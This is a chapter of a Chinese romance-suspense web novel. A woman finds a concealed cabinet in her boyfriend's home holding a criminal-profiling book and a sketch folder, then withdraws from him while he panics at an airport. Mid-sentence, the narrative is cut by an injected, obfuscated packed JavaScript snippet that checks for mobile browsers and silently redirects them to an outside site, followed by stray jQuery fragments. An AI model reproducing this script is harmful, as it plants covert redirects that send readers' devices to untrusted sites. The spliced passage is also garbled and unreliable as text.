“哦,那还真是有缘分。”舒岚努力对他笑了笑,“可能那次打工时间太短了,他没有跟我提过。华子,你记得他为什么离职吗?”
“好像没什么特别原因,就他自己觉得不适合吧。”于华说,“不过我记得他在的两天,还挺健谈的,特别喜欢和我聊天。你男朋友人长得帅,性格也好,你们真的很般配。”
……
告别于华后,舒岚和徐珊珊在学校门口告别,各自打车回家。
坐在出租车上,她看着窗外沐浴在暗橘色灯光中的都市夜景,陷入了沉思。
我们的生命中,好多人来也匆匆,去也匆匆。
有的人离开之后就再没回来过,有的人则会限时返场。
就像今天遇到的于华,还有刘惠云师兄。
与两人的遇见,着实让舒岚今晚的心情坐了一趟刺激的过山车,一个陡坡之后,后面居然还跟着一个更大的陡坡。
刚才,她与刘惠云选了一家麻辣烫小店吃东西。他们边吃边聊完了舒岚示意图的需求。
出了小店,结伴往学校走的路上,刘惠云突然调侃起自己当年对舒岚的追求。
“当年我都读研了,还是个愣头青呢,被那些霸总剧迷惑得不轻,还以为女孩子就喜欢惊喜,喜欢死心塌地的追求。”刘惠云边说边自嘲地摇头,“即便你明确拒绝我那么多次了,我都没有迷途知返。”
听他说这些,绷了快一小时的舒岚,心情反而放松下来。
人啊,果然还是会长大的。这位刘师兄,也不似当年那般执拗了。
“刘师兄,都过去了。别说你了,我更是不成熟。我得向你道歉,当初要不是我那天一句气话,对你说什么你要等就一直等吧。你也不会在南门等我时被小混混……”
“害~等你也是我自己的决定,和你有啥关系。”时过境迁,刘师兄的声音里没有一丝怨念,“我当时受辱,对学校里的流言蜚语没有解释……其实把我打骨折的人,并不是什么小混混。”
舒岚好奇地问:“那是和你有过节的人吗?你当时有没有报警?”
“是我不认识的一个年轻男人。我记得他个子很高,戴着黑色棒球帽,黑色的口罩。看穿着和气质,不像是小混混。南门那里很偏,没有监控。我当时是报警了,但警察什么也没查出来。”刘惠云说到这里特意看了舒岚一眼,“我猜想——他应该是你认识的人,或者,认识你的人。”
“认识我的人?”舒岚眉心蹙起,“为什么这么说?”
“因为那人警告我,让我别再缠着你。他还说你不喜欢被人盯着。”刘惠云苦笑,“否则见我一次,打我一次。当时,我正好进了一个全国设计比赛的复赛,手臂骨折未能继续参赛。这件事,也算给了我个教训。”
“抱歉,刘师兄。我真的不知道这个人是谁……”舒岚愧疚地道歉,心里涌动着不安。
因为,“你不喜欢被人盯着”这个表述,不久之前,她才刚刚听过。
而说出这句话的人,过了不到两小时,竟被他的另一位同学提及。
与徐珊珊一起看完演出离开礼堂,舒岚没想到会遇到老同学于华,更没想到他竟道出与陆焕一起打过工的事。
大一的陆焕,就算在学业之外有余力去玩运动,去创业,难道还有闲心来她大学附近打工?
就算有,他决定的事情,又为什么会半途而废?
短短两天辞职走人?这真的很不陆焕……
陆执说过的话,同时在舒岚耳边响起,他说陆焕心术不正。
当时,她只当是气话,是妄言,现在想想,竟开始有迹可循。
她心底有个答案呼之欲出。
可每每一冒出点苗头,就被舒岚迅速摁了下去。
她不想承认,不愿深究,更恐惧真相。
这一晚,陆焕再次打来视频电话。她却以累了为借口挂断了。
陆焕给她发了一张照片报备,提醒她周五上午直接机场见。
舒岚回了他一句“好的”。
冰冷冷的文字,没有表情。
她既然说累了,陆焕就只当她是累了,未曾多想。
数小时后,身在异国的陆焕收到了一条反馈信息,是与舒岚反击公司的行动有关的。
于是他给她微信留言说:
第二轮的技术问题已经解决,内容会在下周一早晨9:00准时触发。
舒岚大约是睡了,很久以后才回复他。
陆焕看到后,皱起了眉头。
因为她居然回了他一句:谢谢你,辛苦了。
跟不熟的人,她才会说这种简短、疏离的客气话。
陆焕的直觉告诉他,应该发生了什么事情。而且这件事,很可能与他有关。
-
野岚青州办公区。
宋典娜再一次被设计部同事催要那本国外寄来的图册。实在没办法,她只能去陆焕办公室又翻了一遍,结果依然什么也没找到。
宋典娜想起陆焕那天在机场说的,忘记是放在家里还是办公室了。
她给舒岚发了条信息,拜托她下班回家后帮忙找一找。
十来分钟后,舒岚回复了她的消息。
[舒岚:我今天调休了,在家里。我现在就帮你找。他说放哪儿了吗?]
[Lina:没有说。他都不确定在家还是办公室,但我找了办公室没有。]
[舒岚:好,我先找找看。]
接到宋典娜消息时,舒岚正在收拾回家的行李。
她申请了两天调休,周四在家休息,整理要带给父母的青州特产;周五中午和陆焕在机场汇合,一起回靛城给她妈妈过生日。
收到宋典娜的消息后,舒岚暂且离开了行李箱,先去了客厅的书架寻找。
书柜的几层,她挨着看了看,没有什么设计册子。
她又去了卧室。
走到他那一侧的床头柜,她蹲下,拉开抽屉。
里面有一只笔,一本空白的便笺,一个备用的手机充电器。
以及,那个还未拆包装的粉色盒子。
舒岚平静地看了盒子一眼,将抽屉合上了。
最后,她来到了客卧。
现在这里成了她的衣帽间,还堆着些她目前没再使用的杂物。
属于陆焕的家具,只有一张不带抽屉的桌子,以及一个简易的铁质多层架。
她走到多层架那里翻找——
上两层是颜料、画笔、铅笔,以及各种画具。
下面两层是画本和各种美术用纸。
她挨个确认那些画本,只有一本是使用过的,就是上次她送给陆焕的生日礼物。
他在上面画了一幅他穿红色背带裙的小画。
上次看时还没有画完,现在打开来,竟然已经上过颜色了。
舒岚珍惜地看了几眼后,合起来了画本,轻轻放回原位。
她把家里统统找遍了也没有,只能回复宋典娜说没找到。她还劝她别着急,不行给陆焕再留言问问。
正准备离开房间时,舒岚被汤圆吸引了注意力。
顽皮的猫咪不知何时钻到了架子底层的画纸堆里去,还把一摞画纸推到了地上,在上面刨来刨去地玩。
舒岚生气地走过去蹲下,把汤圆抱出来,训斥了几句,把它赶出了房间。
她蹲在地上,把被猫弄乱的不同尺寸和材质的画纸一沓一沓地搬出来,想要理好再放回原位。
然而,空掉的架子,彻底暴露了后面的墙壁。
舒岚发现墙壁上竟安装着一个内嵌式的精巧把手。
更确切地说,是这里有一道与墙壁同色的暗门,暗门上安装了一个把手。
这道小小的暗门,面积比一张A4纸大不了多少。门上漆了和墙壁一致的白色腻子粉,平时被画纸严密挡住,不挪开画纸仔细看,根本发现不了它的存在。
舒岚靛城老家房屋的壁橱,也做了隐蔽处理,目的是为了好看。
可直觉告诉她,眼前的这道暗门,肯定不只是为了好看。
或许是前屋主留下放贵重物品的,现在已经弃用了。
或许还在使用,里面放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633217|168669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着陆焕的某些保密类的财务文件、重要证明等等。
不管里面放着什么,她都没有理由打开它。
她应该尊重他的隐私,更不该疑心这么重。
可在这个当下,她根本控制不住自己的手。
身体仿佛自有意志,当她意识到时,把手已经被她抠出来了。
不轻不重地拽了一下,暗门便在她眼前打开了。
暗柜里面就放着两样东西——
一样是一本画稿收纳册。
另一样是一本书。
她先拿出了书,看到封面印着的书名,《犯罪心理与人物侧写》。
呵,老朋友了。
她翻开书的扉页——这里印着的版次时间是10年前,而印次是在8年前。
如此看来,这本书,他可能很久很久以前就买回来看了。
放下书,她再把收纳册拿在手里。
仅仅翻看了三四页,便重重地合上了。
接着,收纳册、书,被她一样、一样物归原地。
关上门,一厚摞画纸再次被覆盖到表面。
仿佛这道门,从未因为她的好奇心打开过……
-
陆焕在周四登机前,和舒岚断联了。
他想告诉她一声,自己要登机了,但她信息不回,电话打不通。
他想不通为什么。
记得舒岚前两天说过,她今天会调休,于是吩咐宋典娜去他家看看她在不在。
宋典娜却告诉他,她们半小时前,还互相发过消息。
陆焕问她联系的原因是什么?宋典娜告知了他。
陆焕预感不祥,又给舒岚拨了几个视频电话,起初不接,后来直接被挂断。
这说明她没事,单纯不想接听。
飞机马上起飞,他只能切换飞行模式。
接下来10个小时的飞机,他一路如坐针毡,一秒钟都没有睡着过。
到了蓉市转机,陆焕终于收到了舒岚的消息。
她用极致简洁的语言告诉他——因为家里有点事,她提前回家了。
他问他什么事?
她这次回的倒算快,却只说——没大事。让他到家后好好休息。
陆焕看着信息,在下属抱怨VIP休息室竟然冷气不足的声音里,他感到背后一阵阵发凉。
这不是舒岚的风格。
平时就算再着急的事,她也会告诉他原因。
是他犯了什么错?不应该。
如果他犯错了,她至少会先发作一顿再消失。
宽敞的VIP休息室内,灯光柔和,沙发舒适。
下属完全没注意到他的反常,刷着短视频打发时间。
可能怕影响到他,那支正被收看的疗愈类短视频的声音明显调低了。
但不知怎么,里面飘出的一句话,好巧不巧被陆焕的耳朵捕捉到了。
一个知性但机械化的女人声音说——
恋人真正离开的那次,关门的声音是最小的。
一声闷雷,瞬间在他心头炸起。
机场之上的绀色夜空,不知何时已压下一片厚重的云层。
变低的气压,如有实质地,重重碾过他身体里每一寸神经。
大雨,呼啸而至。
呼吸,越来越困难了。
汹涌的情绪,如动荡的海潮,在胸腔里肆意泛滥。
隐痛了一路的太阳穴,跟着作乱,转为更尖锐、更强烈的痛感。
再也坐不住了。
忍着“吱吱”的耳鸣声,他疾步走进卫生间,低头对着水池狂吐……
一路都没吃过东西,吐完,胃里这下彻底空了。
比胃更严重的是,他现在整个人都空落落的。
双手扶着洗手台缓了几秒,陆焕草草洗了把脸,略显急迫地走向休息室的问询台。
“先生,现在已经没有飞靛城的班次了。”
“最早要到明天中午,请问您还需要吗?”
站在问询台前,陆焕听到机场的工作人员这样对他说道。